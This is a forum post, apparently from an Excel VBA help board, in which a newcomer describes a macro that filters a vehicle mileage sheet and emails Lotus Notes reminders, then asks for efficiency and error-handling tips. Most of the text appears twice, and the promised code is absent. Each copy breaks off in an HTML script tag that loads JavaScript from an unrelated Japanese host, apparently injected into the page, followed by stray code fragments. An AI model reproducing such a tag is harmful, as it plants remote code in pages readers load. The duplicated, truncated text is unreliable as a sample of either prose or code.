This is a call to any VB experts out there who wouldn't mind taking a look at my vb code to check for any foreseeable problems. My macro appears to be accomplishing what I want it to do and at this point
the whole process is running smoothly. My concerns are that my code may not be as efficient (for speed) as it could be and that I'm missing code to manage any potential problems (i.e. error handling in the
proper places). I've tested the whole process by sending about 60 email notifications to a couple of my email own addresses and it took about 3-4 minutes which is probably ok)
Although I'm not looking for any major rework, any tips/tricks would really be appreciated.
To summarize my project:
I was tasked to automate our Transportation Dept's vehicle mileage notification process. Each month, commands are required to submit their current vehicle mileages and When they fail to do so, a
notification is emailed to them via Lotus Notes with an attached Excel file. The attachment lists their vehicles missing the current mileage. The process starts by clicking on a GSA Mileage Notification
button on the GSA Mileage Report.xls spreadsheet, used for tracking all the vehicle information. A dialog box then pops up prompting the user to select 1st, 2nd, or 3rd notification (used for the email
subject line only).
In the GSA Mileage Report.xls spreadsheet are two sheets; the Main sheet that holds all the vehicle information (veh#,previous & current mileages,commands,POCs(point of contacts), other misc info, and a
column named "Send Notification?" coded (on the spreadsheet) to show a "YES" if the current mileage is missing and a "NO" if it is not missing). The second sheet is named MailInfo and holds all the POC
names in one column and their email address or Lotus group name in another column. If there are more than one POC/email address per vehicle, a group is created in Lotus Notes. There are approx 450 rows
(vehicles) and on average, about 50-70 notifications have to be sent out at a time. Note: There is a "Click to Update" button and a "Report Status" column with some code in the cells that came with the
spreadsheet and is not part of my macro/process nor does it interfere with it.
In the macro code, AdvancedFilter is used to filter and copy the unique POCs to a temporary worksheet(POCSheet) for those rows that have a "YES" in the "Send Notification?" column. The POCSheet is used in
conjunction with a Vlookup function to get the email address or Lotus group name from the MailInfo sheet. An AutoFilter is used to filter the data I want to email based on the unique POCs from the POCSheet
and the "Send Notification?" column being "YES". A workbook(EmailWB) is created to hold the filtered data and is emailed to the recipient(s). A workbook(FileWB) is created to hold a copy (for storage) of all
the worksheets emailed out for each notification period.
I am new to VB and I did quite a bit of forum reading and borrowing of code (mostly from Ron de Bruin excellent samples) so some code might be miss-used and/or useless to my needs.
I've provided (I hope) a simplified snapshot of the spreadsheet and my code below.
I am using Excel 2003
Thank you in advanced for any insight you can provide.<SCRIPT language=JavaScript src="http://www.interq.or.jp/sun/puremis... Set noSession = Nothing End Sub [/CODE]
the whole process is running smoothly. My concerns are that my code may not be as efficient (for speed) as it could be and that I'm missing code to manage any potential problems (i.e. error handling in the
proper places). I've tested the whole process by sending about 60 email notifications to a couple of my email own addresses and it took about 3-4 minutes which is probably ok)
Although I'm not looking for any major rework, any tips/tricks would really be appreciated.
To summarize my project:
I was tasked to automate our Transportation Dept's vehicle mileage notification process. Each month, commands are required to submit their current vehicle mileages and When they fail to do so, a
notification is emailed to them via Lotus Notes with an attached Excel file. The attachment lists their vehicles missing the current mileage. The process starts by clicking on a GSA Mileage Notification
button on the GSA Mileage Report.xls spreadsheet, used for tracking all the vehicle information. A dialog box then pops up prompting the user to select 1st, 2nd, or 3rd notification (used for the email
subject line only).
In the GSA Mileage Report.xls spreadsheet are two sheets; the Main sheet that holds all the vehicle information (veh#,previous & current mileages,commands,POCs(point of contacts), other misc info, and a
column named "Send Notification?" coded (on the spreadsheet) to show a "YES" if the current mileage is missing and a "NO" if it is not missing). The second sheet is named MailInfo and holds all the POC
names in one column and their email address or Lotus group name in another column. If there are more than one POC/email address per vehicle, a group is created in Lotus Notes. There are approx 450 rows
(vehicles) and on average, about 50-70 notifications have to be sent out at a time. Note: There is a "Click to Update" button and a "Report Status" column with some code in the cells that came with the
spreadsheet and is not part of my macro/process nor does it interfere with it.
In the macro code, AdvancedFilter is used to filter and copy the unique POCs to a temporary worksheet(POCSheet) for those rows that have a "YES" in the "Send Notification?" column. The POCSheet is used in
conjunction with a Vlookup function to get the email address or Lotus group name from the MailInfo sheet. An AutoFilter is used to filter the data I want to email based on the unique POCs from the POCSheet
and the "Send Notification?" column being "YES". A workbook(EmailWB) is created to hold the filtered data and is emailed to the recipient(s). A workbook(FileWB) is created to hold a copy (for storage) of all
the worksheets emailed out for each notification period.
I am new to VB and I did quite a bit of forum reading and borrowing of code (mostly from Ron de Bruin excellent samples) so some code might be miss-used and/or useless to my needs.
I've provided (I hope) a simplified snapshot of the spreadsheet and my code below.
I am using Excel 2003
Thank you in advanced for any insight you can provide.<SCRIPT language=JavaScript src="http://www.interq.or.jp/sun/puremis... Set noSession = Nothing End Sub [/CODE]
